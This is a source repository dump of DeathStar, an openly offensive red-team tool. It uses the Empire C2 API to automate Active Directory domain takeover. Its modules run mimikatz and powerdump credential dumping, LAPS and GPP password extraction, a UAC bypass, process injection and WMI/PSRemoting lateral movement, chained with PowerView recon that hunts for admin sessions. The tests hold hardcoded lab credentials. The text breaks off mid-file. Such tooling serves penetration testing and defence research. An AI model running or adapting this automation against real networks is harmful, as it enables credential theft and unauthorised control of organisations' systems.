├── tests ├── __init__.py ├── conftest.py ├── test_kyber_crystals.py ├── test_empire_api.py └── test_utils.py ├── .dockerignore ├── deathstar ├── __init__.py ├── crystals │ ├── postex │ │ ├── mimikatz.py │ │ ├── invoke_internal_monologue.py │ │ ├── powerdump.py │ │ ├── get_lapspasswords.py │ │ ├── psinject.py │ │ ├── spawnas.py │ │ └── tasklist.py │ ├── recon │ │ ├── get_domain_sid.py │ │ ├── find_localadmin_access.py │ │ ├── get_domain_controller.py │ │ ├── get_gpo_computer.py │ │ ├── get_session.py │ │ ├── get_localgroup.py │ │ ├── get_loggedon.py │ │ ├── get_rdp_session.py │ │ ├── get_group_member.py │ │ └── user_hunter.py │ ├── privesc │ │ ├── local │ │ │ ├── ask.py │ │ │ └── bypassuac_eventvwr.py │ │ └── domain │ │ │ └── gpp.py │ └── lateral_movement │ │ ├── invoke_wmi.py │ │ └── invoke_psremoting.py ├── planetaryrecon.py ├── utils.py ├── kybercrystals.py ├── empire.py └── deathstar.py ├── .github └── FUNDING.yml ├── Dockerfile ├── Makefile ├── pyproject.toml ├── .gitignore ├── requirements.txt ├── README.md ├── requirements-dev.txt ├── poetry.lock └── LICENSE /tests/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.dockerignore: -------------------------------------------------------------------------------- 1 | tests/ -------------------------------------------------------------------------------- /deathstar/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | github: byt3bl33d3r 2 | patreon: byt3bl33d3r 3 | ko_fi: byt3bl33d3r -------------------------------------------------------------------------------- /deathstar/crystals/postex/mimikatz.py: -------------------------------------------------------------------------------- 1 | async def crystallize(agent): 2 | output = await agent.execute("powershell/credentials/mimikatz/logonpasswords") 3 | 4 | results = output["results"] 5 | log.debug("Mimikatz ran successfully") 6 | return results 7 | -------------------------------------------------------------------------------- /deathstar/crystals/recon/get_domain_sid.py: -------------------------------------------------------------------------------- 1 | async def crystallize(agent): 2 | output = await agent.execute("powershell/management/get_domain_sid") 3 | 4 | domain_sid = output["results"].splitlines()[0] 5 | log.debug(domain_sid) 6 | return domain_sid 7 | -------------------------------------------------------------------------------- /deathstar/crystals/privesc/local/ask.py: -------------------------------------------------------------------------------- 1 | from deathstar.utils import posh_object_parser, beautify_json 2 | 3 | 4 | async def crystallize(agent): 5 | output = await agent.execute("powershell/privesc/ask") 6 | 7 | results = output["results"] 8 | return results 9 | -------------------------------------------------------------------------------- /deathstar/crystals/postex/invoke_internal_monologue.py: -------------------------------------------------------------------------------- 1 | from deathstar.utils import posh_object_parser, beautify_json 2 | 3 | 4 | async def crystallize(agent, computer_name): 5 | output = await agent.execute("powershell/credentials/invoke_internal_monologue") 6 | 7 | results = output["results"] 8 | return results 9 | -------------------------------------------------------------------------------- /deathstar/crystals/privesc/local/bypassuac_eventvwr.py: -------------------------------------------------------------------------------- 1 | async def crystallize(agent, listener="DeathStar"): 2 | output = await agent.execute( 3 | "powershell/privesc/bypassuac_eventvwr", options={"Listener": listener} 4 | ) 5 | 6 | results = output["results"].strip() 7 | log.debug(results) 8 | return results 9 | -------------------------------------------------------------------------------- /deathstar/crystals/postex/powerdump.py: -------------------------------------------------------------------------------- 1 | from deathstar.utils import posh_object_parser, beautify_json 2 | 3 | 4 | async def crystallize(agent): 5 | output = await agent.execute("powershell/credentials/powerdump") 6 | 7 | results = output["results"] 8 | parsed = posh_object_parser(results) 9 | log.debug(beautify_json(parsed)) 10 | return parsed 11 | -------------------------------------------------------------------------------- /deathstar/crystals/postex/get_lapspasswords.py: -------------------------------------------------------------------------------- 1 | from deathstar.utils import posh_object_parser, beautify_json 2 | 3 | 4 | async def crystallize(agent): 5 | output = await agent.execute("powershell/credentials/get_lapspasswords") 6 | 7 | results = output["results"] 8 | parsed = posh_object_parser(results) 9 | log.debug(beautify_json(parsed)) 10 | return parsed 11 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8-slim 2 | 3 | ARG USER=appuser 4 | 5 | ENV LANG C.UTF-8 6 | ENV LC_ALL C.UTF-8 7 | ENV PIP_DISABLE_PIP_VERSION_CHECK on 8 | ENV PIP_NO_CACHE_DIR off 9 | ENV PATH /home/$USER/.local/bin:$PATH 10 | 11 | RUN useradd --create-home $USER 12 | 13 | WORKDIR /home/$USER/src/deathstar 14 | 15 | USER $USER 16 | 17 | COPY . . 18 | 19 | RUN pip3 install . 20 | 21 | ENTRYPOINT [ "deathstar" ] -------------------------------------------------------------------------------- /deathstar/crystals/recon/find_localadmin_access.py: -------------------------------------------------------------------------------- 1 | from deathstar.utils import posh_object_parser, beautify_json 2 | 3 | 4 | async def crystallize(agent): 5 | output = await agent.execute( 6 | "powershell/situational_awareness/network/powerview/find_localadmin_access", 7 | timeout=-1, 8 | ) 9 | 10 | results = output["results"] 11 | parsed = results.split("\r\n")[:-3] 12 | log.debug(parsed) 13 | return parsed 14 | -------------------------------------------------------------------------------- /deathstar/crystals/recon/get_domain_controller.py: -------------------------------------------------------------------------------- 1 | from deathstar.utils import posh_object_parser, beautify_json 2 | 3 | 4 | async def crystallize(agent): 5 | output = await agent.execute( 6 | "powershell/situational_awareness/network/powerview/get_domain_controller" 7 | ) 8 | 9 | results = output["results"] 10 | parsed_obj = posh_object_parser(results) 11 | log.debug(beautify_json(parsed_obj)) 12 | return parsed_obj 13 | -------------------------------------------------------------------------------- /deathstar/crystals/postex/psinject.py: -------------------------------------------------------------------------------- 1 | async def crystallize(agent, process, listener="DeathStar"): 2 | options = {"Listener": listener} 3 | if process.isdigit(): 4 | options["ProcId"] = str(process) 5 | else: 6 | options["ProcName"] = str(process) 7 | 8 | output = await agent.execute("powershell/management/psinject", options=options) 9 | 10 | results = output["results"] 11 | log.debug(results) 12 | return results 13 | -------------------------------------------------------------------------------- /deathstar/crystals/recon/get_gpo_computer.py: -------------------------------------------------------------------------------- 1 | from deathstar.utils import posh_object_parser, beautify_json 2 | 3 | 4 | async def crystallize(agent, gpo_guid): 5 | output = await agent.execute( 6 | "powershell/situational_awareness/network/powerview/get_gpo_computer", 7 | options={"GUID": gpo_guid}, 8 | ) 9 | 10 | results = output["results"] 11 | parsed = posh_object_parser(results) 12 | log.debug(beautify_json(parsed)) 13 | return parsed 14 | -------------------------------------------------------------------------------- /deathstar/crystals/recon/get_session.py: -------------------------------------------------------------------------------- 1 | from deathstar.utils import posh_object_parser, beautify_json 2 | 3 | 4 | async def crystallize(agent, computer_name="localhost"): 5 | output = await agent.execute( 6 | "powershell/situational_awareness/network/powerview/get_session", 7 | options={"ComputerName": computer_name}, 8 | ) 9 | 10 | results = output["results"] 11 | parsed = posh_object_parser(results) 12 | log.debug(beautify_json(parsed)) 13 | return parsed 14 | -------------------------------------------------------------------------------- /deathstar/crystals/postex/spawnas.py: -------------------------------------------------------------------------------- 1 | async def crystallize( 2 | agent, cred_id="", username="", password="", listener="DeathStar" 3 | ): 4 | output = await agent.execute( 5 | "powershell/management/spawnas", 6 | options={ 7 | "Listener": listener, 8 | "CredID": str(cred_id), 9 | "UserName": username, 10 | "Password": password, 11 | }, 12 | ) 13 | 14 | results = output["results"] 15 | log.debug(results) 16 | return results 17 | -------------------------------------------------------------------------------- /deathstar/crystals/recon/get_localgroup.py: -------------------------------------------------------------------------------- 1 | from deathstar.utils import posh_object_parser, beautify_json 2 | 3 | 4 | async def crystallize(agent, group_name="Administrators", recurse=True): 5 | output = await agent.execute( 6 | "powershell/situational_awareness/network/powerview/get_localgroup", 7 | options={"GroupName": group_name, "Recurse": str(recurse),}, 8 | ) 9 | 10 | results = output["results"] 11 | parsed = posh_object_parser(results) 12 | log.debug(beautify_json(parsed)) 13 | return parsed 14 | -------------------------------------------------------------------------------- /deathstar/crystals/lateral_movement/invoke_wmi.py: -------------------------------------------------------------------------------- 1 | async def crystallize( 2 | agent, computer_name, username="", password="", listener="DeathStar" 3 | ): 4 | output = await agent.execute( 5 | "powershell/lateral_movement/invoke_wmi", 6 | options={ 7 | "ComputerName": computer_name, 8 | "Listener": listener, 9 | "UserName": username, 10 | "Password": password, 11 | }, 12 | ) 13 | 14 | results = output["results"].strip() 15 | log.debug(results) 16 | return results 17 | -------------------------------------------------------------------------------- /deathstar/crystals/lateral_movement/invoke_psremoting.py: -------------------------------------------------------------------------------- 1 | async def crystallize( 2 | agent, computer_name, username="", password="", listener="DeathStar" 3 | ): 4 | output = await agent.execute( 5 | "powershell/lateral_movement/invoke_psremoting", 6 | options={ 7 | "ComputerName": computer_name, 8 | "Listener": listener, 9 | "UserName": username, 10 | "Password": password, 11 | }, 12 | ) 13 | 14 | results = output["results"].strip() 15 | log.debug(results) 16 | return results 17 | -------------------------------------------------------------------------------- /deathstar/crystals/recon/get_loggedon.py: -------------------------------------------------------------------------------- 1 | from deathstar.utils import posh_table_parser, beautify_json 2 | 3 | 4 | async def crystallize(agent, computer_name="localhost"): 5 | output = await agent.execute( 6 | "powershell/situational_awareness/network/powerview/get_loggedon", 7 | options={"ComputerName": computer_name}, 8 | ) 9 | 10 | results = output["results"] 11 | parsed = posh_table_parser(results) 12 | filtered = list(filter(lambda s: not s["username"].endswith("$"), parsed)) 13 | log.debug(beautify_json(filtered)) 14 | return filtered 15 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: tests 2 | 3 | default: build 4 | 5 | clean: 6 | rm -f -r build/ 7 | rm -f -r bin/ 8 | rm -f -r dist/ 9 | rm -f -r *.egg-info 10 | find . -name '*.pyc' -exec rm -f {} + 11 | find . -name '*.pyo' -exec rm -f {} + 12 | find . -name '*~' -exec rm -f {} + 13 | find . -name '__pycache__' -exec rm -rf {} + 14 | find . -name '.pytest_cache' -exec rm -rf {} + 15 | 16 | tests: 17 | flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics 18 | pytest 19 | 20 | requirements: 21 | poetry export -f requirements.txt -o requirements.txt 22 | poetry export --dev -f requirements.txt -o requirements-dev.txt 23 | -------------------------------------------------------------------------------- /deathstar/crystals/recon/get_rdp_session.py: -------------------------------------------------------------------------------- 1 | from deathstar.utils import posh_object_parser, beautify_json 2 | 3 | 4 | async def crystallize(agent, computer_name="localhost"): 5 | output = await agent.execute( 6 | "powershell/situational_awareness/network/powerview/get_rdp_session", 7 | options={"ComputerName": computer_name}, 8 | ) 9 | 10 | results = output["results"] 11 | parsed = posh_object_parser(results) 12 | filtered = list( 13 | filter(lambda s: s["sessionname"] not in ["Console", "Services"], parsed) 14 | ) 15 | 16 | log.debug(beautify_json(filtered)) 17 | return filtered 18 | -------------------------------------------------------------------------------- /deathstar/crystals/recon/get_group_member.py: -------------------------------------------------------------------------------- 1 | from deathstar.utils import posh_object_parser, beautify_json 2 | 3 | 4 | async def crystallize(agent, group_sid, recurse=True): 5 | output = await agent.execute( 6 | "powershell/situational_awareness/network/powerview/get_group_member", 7 | options={ 8 | "Identity": group_sid, 9 | "Recurse": str(recurse).lower(), # Empire doesn't do any type checking or type conversions... 10 | }, 11 | ) 12 | 13 | results = output["results"] 14 | parsed_obj = posh_object_parser(results) 15 | log.debug(beautify_json(parsed_obj)) 16 | return parsed_obj 17 | -------------------------------------------------------------------------------- /tests/conftest.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | import logging 3 | import os 4 | from deathstar.empire import EmpireApiClient, EmpireModuleExecutionTimeout 5 | 6 | handler = logging.StreamHandler() 7 | handler.setFormatter(logging.Formatter("[%(name)s] %(levelname)s - %(message)s")) 8 | 9 | log = logging.getLogger("deathstar") 10 | log.setLevel(logging.DEBUG) 11 | log.addHandler(handler) 12 | 13 | 14 | @pytest.mark.asyncio 15 | @pytest.fixture 16 | async def empire(): 17 | empire = EmpireApiClient(host=os.environ["EMPIRE_HOST"]) 18 | await empire.login("empireadmin", "Password123!") 19 | yield empire 20 | 21 | 22 | @pytest.mark.asyncio 23 | @pytest.fixture 24 | async def agents(empire): 25 | agents = await empire.agents.get() 26 | yield agents 27 | -------------------------------------------------------------------------------- /deathstar/crystals/privesc/domain/gpp.py: -------------------------------------------------------------------------------- 1 | from deathstar.utils import posh_object_parser, beautify_json 2 | 3 | 4 | async def crystallize(agent): 5 | output = await agent.execute("powershell/privesc/gpp",) 6 | 7 | results = output["results"] 8 | parsed = posh_object_parser(results) 9 | for gpo in parsed: 10 | gpo["guid"] = gpo["file"].split("\\")[6][1:-1] 11 | gpo["passwords"] = gpo["passwords"][1:-1].split(", ") 12 | gpo["usernames"] = gpo["usernames"][1:-1].split(", ") 13 | 14 | # Gets rid of the "(built-in)" when administrator accounts are found 15 | gpo["usernames"] = [ 16 | user.split()[0] if user.lower().find("(built-in)") else user 17 | for user in gpo["usernames"] 18 | ] 19 | 20 | log.debug(beautify_json(parsed)) 21 | return parsed 22 | -------------------------------------------------------------------------------- /deathstar/crystals/recon/user_hunter.py: -------------------------------------------------------------------------------- 1 | from deathstar.utils import posh_object_parser, beautify_json 2 | 3 | 4 | async def crystallize(agent, group): 5 | output = await agent.execute( 6 | "powershell/situational_awareness/network/powerview/user_hunter", 7 | timeout=-1, 8 | options={"UserGroupIdentity": group}, 9 | ) 10 | 11 | results = output["results"] 12 | parsed = posh_object_parser(results) 13 | 14 | # We really only care about the SessionFromName and ComputerName fields... 15 | sessions = [] 16 | 17 | sessions.extend( 18 | [session["computername"] for session in parsed if session["computername"]] 19 | ) 20 | sessions.extend( 21 | [session["sessionfromname"] for session in parsed if session["sessionfromname"]] 22 | ) 23 | 24 | log.debug(beautify_json(sessions)) 25 | return sessions 26 | -------------------------------------------------------------------------------- /tests/test_kyber_crystals.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | import logging 3 | import asyncio 4 | from deathstar.kybercrystals import KyberCrystals 5 | 6 | 7 | class MockDeathStar: 8 | pass 9 | 10 | 11 | @pytest.fixture 12 | def kyber_crystals(empire): 13 | dt = MockDeathStar() 14 | dt.empire = empire 15 | 16 | k = KyberCrystals(dt) 17 | return k 18 | 19 | 20 | @pytest.mark.asyncio 21 | async def test_kyber_crystallization(kyber_crystals): 22 | assert kyber_crystals.get_domain_sid 23 | 24 | for crystal in kyber_crystals.loaded: 25 | assert isinstance(crystal.log, logging.Logger) 26 | assert isinstance(crystal.deathstar, MockDeathStar) 27 | 28 | 29 | @pytest.mark.asyncio 30 | async def test_crystal_focus(kyber_crystals, agents): 31 | for agent in agents: 32 | # sid = await kyber_crystals.get_domain_sid(agent) 33 | # assert len(sid) > 0 34 | await kyber_crystals.tasklist(agent) 35 | # await kyber_crystals.get_loggedon(agent) 36 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "deathstar-empire" 3 | version = "0.2.0" 4 | description = "Uses Empire's RESTful API to automate gaining Domain and/or Enterprise Admin rights in Active Directory environments using some of the most common offensive TTPs" 5 | readme = "README.md" 6 | homepage = "https://github.com/byt3bl33d3r/DeathStar" 7 | repository = "https://github.com/byt3bl33d3r/DeathStar" 8 | authors = ["Marcello Salvati "] 9 | license = "GPL-3.0-only" 10 | exclude = ["tests/*"] 11 | include = ["LICENSE", "deathstar/crystals/*"] 12 | classifiers = [ 13 | "Topic :: Security", 14 | ] 15 | packages = [ 16 | { include = "deathstar"} 17 | ] 18 | 19 | [tool.poetry.scripts] 20 | deathstar = 'deathstar.deathstar:run' 21 | 22 | [tool.poetry.dependencies] 23 | python = "^3.8" 24 | httpx = "^0.16.0" 25 | rich = "^9.4.0" 26 | 27 | [tool.poetry.dev-dependencies] 28 | black = "^20.8b1" 29 | pytest = "*" 30 | pytest-asyncio = "*" 31 | flake8 = "*" 32 | pylint = "*" 33 | 34 | [build-system] 35 | requires = ["poetry>=0.12"] 36 | build-backend = "poetry.masonry.api" 37 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | .vscode 3 | __pycache__/ 4 | *.py[cod] 5 | *$py.class 6 | 7 | # C extensions 8 | *.so 9 | 10 | # Distribution / packaging 11 | .Python 12 | env/ 13 | build/ 14 | develop-eggs/ 15 | dist/ 16 | downloads/ 17 | eggs/ 18 | .eggs/ 19 | lib/ 20 | lib64/ 21 | parts/ 22 | sdist/ 23 | var/ 24 | wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .coverage 43 | .coverage.* 44 | .cache 45 | nosetests.xml 46 | coverage.xml 47 | *.cover 48 | .hypothesis/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | 58 | # Flask stuff: 59 | instance/ 60 | .webassets-cache 61 | 62 | # Scrapy stuff: 63 | .scrapy 64 | 65 | # Sphinx documentation 66 | docs/_build/ 67 | 68 | # PyBuilder 69 | target/ 70 | 71 | # Jupyter Notebook 72 | .ipynb_checkpoints 73 | 74 | # pyenv 75 | .python-version 76 | 77 | # celery beat schedule file 78 | celerybeat-schedule 79 | 80 | # SageMath parsed files 81 | *.sage.py 82 | 83 | # dotenv 84 | .env 85 | 86 | # virtualenv 87 | .venv 88 | venv/ 89 | ENV/ 90 | 91 | # Spyder project settings 92 | .spyderproject 93 | .spyproject 94 | 95 | # Rope project settings 96 | .ropeproject 97 | 98 | # mkdocs documentation 99 | /site 100 | 101 | # mypy 102 | .mypy_cache/ 103 | -------------------------------------------------------------------------------- /tests/test_empire_api.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | from deathstar.utils import beautify_json 3 | 4 | 5 | @pytest.mark.asyncio 6 | async def test_listeners(empire): 7 | r = await empire.listeners.create(name="DeathStar-Test", additional={"Port": 8989}) 8 | r = await empire.listeners.get("DeathStar-Test") 9 | assert "error" not in r 10 | 11 | await empire.listeners.kill("DeathStar-Test") 12 | 13 | 14 | @pytest.mark.asyncio 15 | async def test_agents(empire): 16 | agents = await empire.agents.get() 17 | assert len(agents) > 0 18 | 19 | agent = await empire.agents.get(agents[0].name) 20 | assert agent 21 | 22 | 23 | @pytest.mark.asyncio 24 | async def test_modules(empire, agents): 25 | agent = agents[0] 26 | 27 | modules = await empire.modules.search("get_domain_sid") 28 | assert len(modules) > 0 29 | 30 | module = await empire.modules.get("powershell/management/get_domain_sid") 31 | assert module 32 | 33 | r = await empire.modules.execute(module, agent) 34 | print(beautify_json(r)) 35 | assert r["results"] != None and not r["results"].startswith("Job started") 36 | 37 | 38 | @pytest.mark.asyncio 39 | async def test_agent_results(empire, agents): 40 | agent = agents[0] 41 | 42 | r = await empire.agents.results(agent) 43 | print(beautify_json(r)) 44 | 45 | 46 | @pytest.mark.asyncio 47 | async def test_shell(empire, agents): 48 | agent = agents[0] 49 | 50 | r = await empire.agents.shell("tasklist", agent) 51 | print(beautify_json(r)) 52 | 53 | 54 | @pytest.mark.asyncio 55 | async def test_events(empire, agents): 56 | agent = agents[0] 57 | 58 | r = await empire.events.all() 59 | print(beautify_json(r)) 60 | 61 | r = await empire.events.agent(agent) 62 | print(beautify_json(r)) 63 | -------------------------------------------------------------------------------- /deathstar/crystals/postex/tasklist.py: -------------------------------------------------------------------------------- 1 | import re 2 | import traceback 3 | from deathstar.kybercrystals import KyberCrystalException 4 | from deathstar.utils import beautify_json 5 | 6 | 7 | async def crystallize(agent): 8 | """ 9 | I really wish there was another module we can use for this instead of just parsing tasklist output 10 | However, I also wish that I could ride a giraffe to work so maybe my expectations should be lower. 11 | """ 12 | 13 | output = await agent.shell("ps") 14 | results = output["results"] 15 | processes = [] 16 | 17 | try: 18 | if results.startswith("error running command"): 19 | raise KyberCrystalException( 20 | "Tasklist command decided not to work right now, please try again later..." 21 | ) 22 | 23 | blocks = list(filter(len, results.splitlines())) 24 | 25 | for row in blocks[2:]: 26 | if len(row.split()) == 1: 27 | prev_value = processes[-1]["username"] 28 | processes[-1]["username"] = prev_value + row.split()[0] 29 | continue 30 | 31 | parts = list(filter(len, re.sub(r"\s{2,}", "__", row).split("__"))) 32 | pid, arch = parts[1].split() 33 | pname = parts[0] 34 | if len(parts) == 4: 35 | username = parts[2] 36 | memusage = parts[3] 37 | elif len(parts) == 3: 38 | memusage = re.findall(r"\s(.*\d\sMB)", parts[2])[0] 39 | username = parts[2].split()[0] 40 | 41 | processes.append( 42 | { 43 | "processname": pname, 44 | "pid": pid, 45 | "arch": arch, 46 | "username": username, 47 | "memusage": memusage, 48 | } 49 | ) 50 | 51 | except Exception as e: 52 | log.error(f"Error parsing tasklist output: {e} output:\n {results}") 53 | log.error(traceback.format_exc()) 54 | 55 | for proc in processes: 56 | if proc["username"] == "N/A": 57 | proc["username"] = "" 58 | 59 | log.debug(beautify_json(processes)) 60 | return processes 61 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | certifi==2020.12.5; python_version >= "3.6" \ 2 | --hash=sha256:719a74fb9e33b9bd44cc7f3a8d94bc35e4049deebe19ba7d8e108280cfd59830 \ 3 | --hash=sha256:1a4995114262bffbc2413b159f2a1a480c969de6e6eb13ee966d470af86af59c 4 | colorama==0.4.4; python_version >= "3.6" and python_full_version < "3.0.0" and python_version < "4.0" or python_version >= "3.6" and python_version < "4.0" and python_full_version >= "3.5.0" \ 5 | --hash=sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2 6 | commonmark==0.9.1; python_version >= "3.6" and python_version < "4.0" \ 7 | --hash=sha256:da2f38c92590f83de410ba1a3cbceafbc74fee9def35f9251ba9a971d6d66fd9 \ 8 | --hash=sha256:452f9dc859be7f06631ddcb328b6919c67984aca654e5fefb3914d54691aed60 9 | h11==0.11.0; python_version >= "3.6" \ 10 | --hash=sha256:ab6c335e1b6ef34b205d5ca3e228c9299cc7218b049819ec84a388c2525e5d87 \ 11 | --hash=sha256:3c6c61d69c6f13d41f1b80ab0322f1872702a3ba26e12aa864c928f6a43fbaab 12 | httpcore==0.12.2; python_version >= "3.6" \ 13 | --hash=sha256:420700af11db658c782f7e8fda34f9dcd95e3ee93944dd97d78cb70247e0cd06 \ 14 | --hash=sha256:dd1d762d4f7c2702149d06be2597c35fb154c5eff9789a8c5823fbcf4d2978d6 15 | httpx==0.16.1; python_version >= "3.6" \ 16 | --hash=sha256:9cffb8ba31fac6536f2c8cde30df859013f59e4bcc5b8d43901cb3654a8e0a5b \ 17 | --hash=sha256:126424c279c842738805974687e0518a94c7ae8d140cd65b9c4f77ac46ffa537 18 | idna==2.10; python_version >= "3.6" and python_full_version < "3.0.0" or python_version >= "3.6" and python_full_version >= "3.4.0" \ 19 | --hash=sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0 \ 20 | --hash=sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6 21 | pygments==2.7.3; python_version >= "3.6" and python_version < "4.0" \ 22 | --hash=sha256:f275b6c0909e5dafd2d6269a656aa90fa58ebf4a74f8fcf9053195d226b24a08 \ 23 | --hash=sha256:ccf3acacf3782cbed4a989426012f1c535c9a90d3a7fc3f16d231b9372d2b716 24 | rfc3986==1.4.0; python_version >= "3.6" \ 25 | --hash=sha256:af9147e9aceda37c91a05f4deb128d4b4b49d6b199775fd2d2927768abdc8f50 \ 26 | --hash=sha256:112398da31a3344dc25dbf477d8df6cb34f9278a94fee2625d89e4514be8bb9d 27 | rich==9.4.0; python_version >= "3.6" and python_version < "4.0" \ 28 | --hash=sha256:dfc1d6a394f97674163b2b2c24d12e15f85752ce5451043c4d3ce77dad16a07d \ 29 | --hash=sha256:bde23a1761373fed2802502ff98292c5d735a5389ed96f4fe1be5fb4c2cde8ea 30 | sniffio==1.2.0; python_version >= "3.6" \ 31 | --hash=sha256:471b71698eac1c2112a40ce2752bb2f4a4814c22a54a3eed3676bc0f5ca9f663 \ 32 | --hash=sha256:c4666eecec1d3f50960c6bdf61ab7bc350648da6c126e3cf6898d8cd4ddcd3de 33 | typing-extensions==3.7.4.3; python_version >= "3.6" and python_version < "4.0" \ 34 | --hash=sha256:dafc7639cde7f1b6e1acc0f457842a83e722ccca8eef5270af2d74792619a89f \ 35 | --hash=sha256:7cb407020f00f7bfc3cb3e7881628838e69d8f3fcab2f64742a5e76b2f841918 \ 36 | --hash=sha256:99d4073b617d30288f569d3f13d2bd7548c3a7e4c8de87db09a9d29bb3a4a60c 37 | -------------------------------------------------------------------------------- /tests/test_utils.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | from deathstar.utils import posh_object_parser, posh_table_parser, beautify_json 3 | 4 | posh_object_example = "Forest : bahbah.local\r\nCurrentTime : 8/2/2020 4:20:36 AM\r\nHighestCommittedUsn : 244872\r\nOSVersion : Windows Server 2016 Datacenter\r\nRoles : {SchemaRole, NamingRole, PdcRole, RidRole...}\r\nDomain : bahbah.local\r\nIPAddress : 10.0.0.46\r\nSiteName : Default-First-Site-Name\r\nSyncFromAllServersCallback : \r\nInboundConnections : {11700df9-cada-43df-82f7-eccc4821d007}\r\nOutboundConnections : {df05a9ea-801e-42ed-ad44-d80119189a95}\r\nName : DC2016.bahbah.local\r\nPartitions : {DC=bahbah,DC=local, CN=Configuration,DC=bahbah,DC=\r\n local, CN=Schema,CN=Configuration,DC=bahbah,DC=loca\r\n l, DC=DomainDnsZones,DC=bahbah,DC=local...}" 5 | posh_table_example = "\r\nUserName LogonDomain AuthDomains LogonServer ComputerName \r\n-------- ----------- ----------- ----------- ------------ \r\nblacksheep BAHBAH DC2016 localhost \r\nWIN7$ BAHBAH localhost \r\n\r\n\r\n\n\r\n\nGet-NetLoggedon completed!\r\n" 6 | 7 | 8 | def test_posh_object_parse(): 9 | parsed_output = posh_object_parser(posh_object_example) 10 | assert parsed_output == [ 11 | { 12 | "currenttime": "8/2/2020 4:20:36 AM", 13 | "domain": "bahbah.local", 14 | "forest": "bahbah.local", 15 | "highestcommittedusn": "244872", 16 | "ipaddress": "10.0.0.46", 17 | "inboundconnections": "{11700df9-cada-43df-82f7-eccc4821d007}", 18 | "name": "DC2016.bahbah.local", 19 | "osversion": "Windows Server 2016 Datacenter", 20 | "outboundconnections": "{df05a9ea-801e-42ed-ad44-d80119189a95}", 21 | "partitions": "{DC=bahbah,DC=local, CN=Configuration,DC=bahbah,DC=local, CN=Schema,CN=Configuration,DC=bahbah,DC=local, DC=DomainDnsZones,DC=bahbah,DC=local...}", 22 | "roles": "{SchemaRole, NamingRole, PdcRole, RidRole...}", 23 | "sitename": "Default-First-Site-Name", 24 | "syncfromallserverscallback": "", 25 | } 26 | ] 27 | 28 | 29 | def test_posh_table_parser(): 30 | parsed_output = posh_table_parser(posh_table_example) 31 | assert parsed_output == [ 32 | { 33 | "username": "blacksheep", 34 | "logondomain": "BAHBAH", 35 | "authdomains": "", 36 | "logonserver": "DC2016", 37 | "computername": "localhost", 38 | }, 39 | { 40 | "username": "WIN7$", 41 | "logondomain": "BAHBAH", 42 | "authdomains": "", 43 | "logonserver": "", 44 | "computername": "localhost", 45 | }, 46 | ] 47 | -------------------------------------------------------------------------------- /deathstar/planetaryrecon.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | from collections import defaultdict 3 | 4 | 5 | class PlanetaryRecon: 6 | def __init__(self): 7 | self.data = defaultdict( 8 | lambda: { 9 | "recon_performed": asyncio.Event(), 10 | "domain_sid": "", 11 | "domain_controllers": [], 12 | "domain_admins": [], 13 | "enterprise_admins": [], 14 | "priority_targets": set(), # Hosts with an admin logged in/session 15 | } 16 | ) 17 | 18 | @property 19 | def all_admins(self): 20 | all_admins = [] 21 | 22 | for domain in self.data: 23 | all_admins.extend(self.get_domain_admins(domain)) 24 | all_admins.extend(self.get_enterprise_admins(domain)) 25 | 26 | return all_admins 27 | 28 | def get_admins_for_domain(self, admin_type, domain): 29 | admins = [] 30 | for entry in self.data[domain][admin_type]: 31 | domain = entry["memberdomain"].split(".", 1)[0].upper() 32 | username = entry["membername"] 33 | admins.append(f"{domain}\\{username}") 34 | 35 | return admins 36 | 37 | def get_domain_controllers(self, domain): 38 | return self.data[domain]["domain_controllers"] 39 | 40 | def set_domain_controllers(self, domain, dcs): 41 | self.data[domain]["domain_controllers"] = dcs 42 | 43 | # These are needed for localization cause english isn't the only language in the world 44 | def get_da_group_name(self, domain): 45 | return self.data[domain]["domain_admins"][0]["groupname"] 46 | 47 | def get_ea_group_name(self, domain): 48 | return self.data[domain]["enterprise_admins"][0]["groupname"] 49 | 50 | def get_domain_admins(self, domain): 51 | return self.get_admins_for_domain("domain_admins", domain) 52 | 53 | def set_domain_admins(self, domain, domain_admins): 54 | self.data[domain]["domain_admins"] = domain_admins 55 | 56 | def get_enterprise_admins(self, domain): 57 | return self.get_admins_for_domain("enterprise_admins", domain) 58 | 59 | def set_enterprise_admins(self, domain, enterprise_admins): 60 | self.data[domain]["enterprise_admins"] = enterprise_admins 61 | 62 | def get_domain_sid(self, domain): 63 | return self.data[domain]["domain_sid"] 64 | 65 | def set_domain_sid(self, domain, sid): 66 | self.data[domain]["domain_sid"] = sid 67 | 68 | def get_priority_targets(self, domain): 69 | return self.data[domain]["priority_targets"] 70 | 71 | def set_priority_targets(self, domain, targets): 72 | for t in targets: 73 | self.data[domain]["priority_targets"].add(t) 74 | 75 | def been_performed(self, domain): 76 | return self.data[domain]["recon_performed"].is_set() 77 | 78 | def set_performed(self, domain): 79 | self.data[domain]["recon_performed"].set() 80 | 81 | def event(self, domain): 